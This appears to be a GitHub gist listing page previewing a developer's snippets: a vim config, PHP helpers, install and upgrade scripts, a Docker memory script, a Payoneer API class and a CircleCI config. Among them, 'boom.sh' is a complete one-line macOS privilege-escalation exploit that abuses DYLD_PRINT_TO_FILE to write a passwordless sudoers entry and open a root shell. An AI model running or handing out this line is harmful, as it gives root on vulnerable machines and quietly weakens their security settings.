View gist:6186869
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
" Modeline and notes { | |
" vim: set foldmarker={,} foldlevel=0 foldmethod=marker spell: | |
" } | |
" Setup Environment { | |
" The following two lines are required by Vundle. | |
set nocompatible " be iMproved | |
filetype off " required! | |
" Windows Compatibility |
View Application::resolveActiveLanguage.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Returns the active language. | |
* @return string the locale. | |
*/ | |
public function resolveActiveLanguage() | |
{ | |
$user = user(); | |
$matches = array(); | |
if ($user->hasState('__locale')) { |
View httpget
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/php | |
<?php | |
$scheme='tcp'; | |
$host='www.kernel.org'; | |
$port=80; | |
$path='/'; | |
if(isset($argv[1])) { | |
$parsedUrl=parse_url($argv[1]); |
View php-upgrade-5.5.x.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
rpm -Uvh http://mirror.webtatic.com/yum/el6/latest.rpm | |
yum install yum-plugin-replace -y | |
yum replace php-common --replace-with=php55w-common |
View curlj
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo apt-get install jq | |
echo 'curlj() { curl -s "$*" | jq "." }' >> ~/.zshrc | |
source ~/.zshrc | |
# curlj -XGET -u YOUR_GITHUB_USERNAME https://api.github.com/user/repos |
View container-memory.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# Lists memory usage per Docker container | |
# | |
# FORMAT: | |
# | |
# IMAGE:TAG MEMORY_USAGE CONTAINER ID | |
for i in `find /sys/fs/cgroup/memory/docker/* -type d`; do | |
CONTAINER_ID=`echo $i | awk -F'/' '{print $7}'` | |
MEMORY_USAGE=$((`cat $i/memory.usage_in_bytes`/1024/1024)) |
View skype-4.3.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
sudo killall -9 skype | |
wget -q -O ~/skype-4.3.deb http://www.skype.com/go/getskype-linux-beta-ubuntu-64 && | |
sudo apt-get -y remove skype && | |
sudo dpkg -i ~/skype-4.3.deb | |
if [ $? -eq 0 ]; then | |
echo "\nSkype installed..\n" | |
fi | |
rm -f ~/skype-4.3.deb |
View payoneer.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Payoneer API integration | |
* | |
* @date 27/11/12 | |
* @name $payoneer | |
* @author Panagiotis Moustafellos | |
*/ | |
class Payoneer | |
{ |
View boom.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s |
View circle.yml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--- | |
machine: | |
environment: | |
TF_VERSION: 0.6.4 | |
INFRASTRUCTURE: "peopleperhour supertasker mailchap" | |
AWS_DEFAULT_REGION: us-east-1 | |
AWS_ACCESS_KEY_ID: readonly | |
AWS_SECRET_ACCESS_KEY: readonly | |
FOO: LOL |
OlderNewer